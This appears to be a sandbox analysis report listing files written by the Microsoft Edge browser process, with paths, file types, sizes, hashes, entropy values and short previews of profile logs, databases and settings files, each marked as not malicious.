MD5:	4FFBCD3FBC4CD0CF3902E37599C15F50
SHA1:	244C5C8AC11656128EBC3E35F1328084456EACE0
SHA-256:	787988DE15C196FBA12BC63DE099891D92E0746CBF2FC3A5D722C545D4896BED
SHA-512:	D7B8A44CED2F014CD920F3167AE1E7267902DD03BD5F783B83215F60EC7A7BD7848447A56614D29E26A31AFD1A98C8469BABBBA360E1D31DD0A3B8E82230DA08
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.2197115935963545
Encrypted:	false
SSDEEP:	12:7wkON+v2YebvqBQFUtqG/cWNV5bYebvqBvJ:7wR62YebvZgqfobYebvk
MD5:	0DCD09A647107510EAF96B8E765A7AC6
SHA1:	7601AE3AC4816260D838F82B2B45102830D8A56A
SHA-256:	0917175EF8AD40B77EA54620B109D2EB5C09007BBC1816EE737C20A9B9880199
SHA-512:	6E2ED1D41CB3D111069647E87DD72FB2535279B67F41E7A1DA8B2E5B5F13F6451A6F78125E140280C11AEEAE0A66417F756C2B6CEF885AC7267E950207C7F529
Malicious:	false
Preview:	2025/01/23-14:40:09.532 149c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/01/23-14:40:09.535 149c Recovering log #3.2025/01/23-14:40:09.540 149c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.2197115935963545
Encrypted:	false
SSDEEP:	12:7wkON+v2YebvqBQFUtqG/cWNV5bYebvqBvJ:7wR62YebvZgqfobYebvk
MD5:	0DCD09A647107510EAF96B8E765A7AC6
SHA1:	7601AE3AC4816260D838F82B2B45102830D8A56A
SHA-256:	0917175EF8AD40B77EA54620B109D2EB5C09007BBC1816EE737C20A9B9880199
SHA-512:	6E2ED1D41CB3D111069647E87DD72FB2535279B67F41E7A1DA8B2E5B5F13F6451A6F78125E140280C11AEEAE0A66417F756C2B6CEF885AC7267E950207C7F529
Malicious:	false
Preview:	2025/01/23-14:40:09.532 149c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/01/23-14:40:09.535 149c Recovering log #3.2025/01/23-14:40:09.540 149c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5fa12d31-b902-46b5-871e-815b0f8f119c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\92ddb159-f487-4865-a3dd-935acdfe3c23.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF48d19.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\dbae34a2-d0e3-4049-8a89-dc0a9b401fad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.276008583477782
Encrypted:	false
SSDEEP:	6:iOw5zXL+q2Pv23oH+TcwtzjqEKj0QMxIFUtq5z97Zmwc5z5tVkwOv23oH+Tcwtzv:7w5yv2YebvqBZFUtqP/cHT5bYebvqBaJ
MD5:	7DD301FBEB76DFC2F25A6A901B645ED6
SHA1:	9F3544A9A40DCC0E43C561D6E40D330A25EA9BFC
SHA-256:	55ADE5131A3725405B88DD39A7EB49DE52B2E161D2D878EDD2AE35526F0C7D8D
SHA-512:	3F4736B01A62EA21F9E3B4559093890BDF3A725DCD9AE0C1C59144F9FF95D4765D68A220B38A6D6F412A0017C0CB004CA5EE0B77F558F3AEA609DD2BD2072D83
Malicious:	false
Preview:	2025/01/23-14:40:26.875 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/01/23-14:40:26.877 1168 Recovering log #3.2025/01/23-14:40:26.880 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.276008583477782
Encrypted:	false
SSDEEP:	6:iOw5zXL+q2Pv23oH+TcwtzjqEKj0QMxIFUtq5z97Zmwc5z5tVkwOv23oH+Tcwtzv:7w5yv2YebvqBZFUtqP/cHT5bYebvqBaJ
MD5:	7DD301FBEB76DFC2F25A6A901B645ED6
SHA1:	9F3544A9A40DCC0E43C561D6E40D330A25EA9BFC
SHA-256:	55ADE5131A3725405B88DD39A7EB49DE52B2E161D2D878EDD2AE35526F0C7D8D
SHA-512:	3F4736B01A62EA21F9E3B4559093890BDF3A725DCD9AE0C1C59144F9FF95D4765D68A220B38A6D6F412A0017C0CB004CA5EE0B77F558F3AEA609DD2BD2072D83
Malicious:	false
Preview:	2025/01/23-14:40:26.875 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/01/23-14:40:26.877 1168 Recovering log #3.2025/01/23-14:40:26.880 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1842875374543915
Encrypted:	false
SSDEEP:	6:iOw5zrOq2Pv23oH+TcwtpIFUtq5z+ZNZZmwc5z+ZNzkwOv23oH+Tcwta/WLJ:7wov2YebmFUtqONZ/cONz5bYebaUJ
MD5:	5B7ADAEFDF0484C11A7EAA38ABE752B9
SHA1:	6EBB0CD3289AEFAFD0B56E3E0D5BE8C78FDCEFF6
SHA-256:	5AD85B03A35405C01DD779035EBB9013C0E616993A50084D5ED995D1A29D8EF9
SHA-512:	4827BA9CDA3605F9D2D2086176E22037508965FEA76DDD462A99E8DBBE1D040C6EA8E0DC919BF3000FAC064C6B797BCE1D5FAFF22448E88DC4AB4C2D77B63BCD
Malicious:	false
Preview:	2025/01/23-14:40:08.486 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/01/23-14:40:08.487 1e00 Recovering log #3.2025/01/23-14:40:08.487 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1842875374543915
Encrypted:	false
SSDEEP:	6:iOw5zrOq2Pv23oH+TcwtpIFUtq5z+ZNZZmwc5z+ZNzkwOv23oH+Tcwta/WLJ:7wov2YebmFUtqONZ/cONz5bYebaUJ
MD5:	5B7ADAEFDF0484C11A7EAA38ABE752B9
SHA1:	6EBB0CD3289AEFAFD0B56E3E0D5BE8C78FDCEFF6
SHA-256:	5AD85B03A35405C01DD779035EBB9013C0E616993A50084D5ED995D1A29D8EF9
SHA-512:	4827BA9CDA3605F9D2D2086176E22037508965FEA76DDD462A99E8DBBE1D040C6EA8E0DC919BF3000FAC064C6B797BCE1D5FAFF22448E88DC4AB4C2D77B63BCD
Malicious:	false
Preview:	2025/01/23-14:40:08.486 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/01/23-14:40:08.487 1e00 Recovering log #3.2025/01/23-14:40:08.487 1e00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2657974746044198
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMbSAELyKOMq+8JoudpfjOLlaVumLi:K0q+n0Jb9ELyKOMq+8qu3SJ9
MD5:	72AA02A3F1D5042A7E1E1F769D0FB2F4
SHA1:	50B453FC0B6234B2A50ABA75334C67E797F59992
SHA-256:	789B848D933EFAC758D06FC8A1BC9B5220B416845B57EFC918AF15B07D4970A3
SHA-512:	3D738745636002200B4ED38C4802EE25BA15312EB8CCF589BF3DD897871CCC6B646762D65662E2F261F87DC4E7377DC057203C1DF0290539F10194A335F4FCCF
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46676508424539725
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBY0IZ:v7doKsKuKZKlZNmu46yjxA
MD5:	F2A3FD7B3BDA6E7AE7F5BCF8123920BC
SHA1:	1C540443F30E180F08AB4C9A12108F129D89D67C
SHA-256:	FB5A330441C2FA1CBC86401268760DEB775B84C771B7AFFA394AF29648101555
SHA-512:	D0940E7B4722B2702DC9C64408F4442DC3F5316822EEC35244DCAF5D3C0A604B08281BEF60F8621B2C2CA2601DB8E2DEA3FAC32E2F4795C900794236C29333DB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\da3b890f-6c07-4b39-a1e4-778027d349ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14187
Entropy (8bit):	5.285293872682616
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU83J5pPk7UMYou8abV+FUxQwPpDVQP5YJ:stKPGQSu4ssIs6+3JsU3bGUQwhDVP
MD5:	9550ED814F92162FEE55AF11F639F278
SHA1:	44ECA6F6F78C65BF4B80C9624E3BD11B8BB0C3C7
SHA-256:	0BB6C5543B5233AD029B505D065B625C60D292C4F345348FDBC52A1CA6C4E61B
SHA-512:	BAC18177B87FA1A0F716E7AE619E4C672F5F7430BE837E6F1EC25AFAAD2A6560B2886548E96AEC8D2258A4E71140B165DC02EC6A5104C9D7CBFBF60C70CF6963
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dbad4cce-8103-4234-badb-6bf868b8d4d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.556119546894212
Encrypted:	false
SSDEEP:	768:DkvMP8WPsefH48F1+UoAYDCx9Tuqh0VfUC9xbog/OVtHM4QrwqaVMmqKpItus:DkvMP8WPsefH4u1jaEs4hqaVMjttH
MD5:	00257427BFC5882D602F026185E8EE0F
SHA1:	78DB85FD299457E6A882F607164D6840608F013F
SHA-256:	8393988B5EE6A30650F1D8A0FC67B6FE1BB970AAC100974B85A773CAAE00C806
SHA-512:	7F67FF08B440B311E26F7B7EF47A53DFEA06358FDE93C9064106061A753EEFBD94E675CE9F424ECCB2829E9D0EC32E22F6B51C994C223ECCB642333504687C21
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f7c1f3b7-9e8b-44b3-b21d-c7098c949530.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ff6a6aa9-b5a5-43f5-954c-b3c7085a243c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
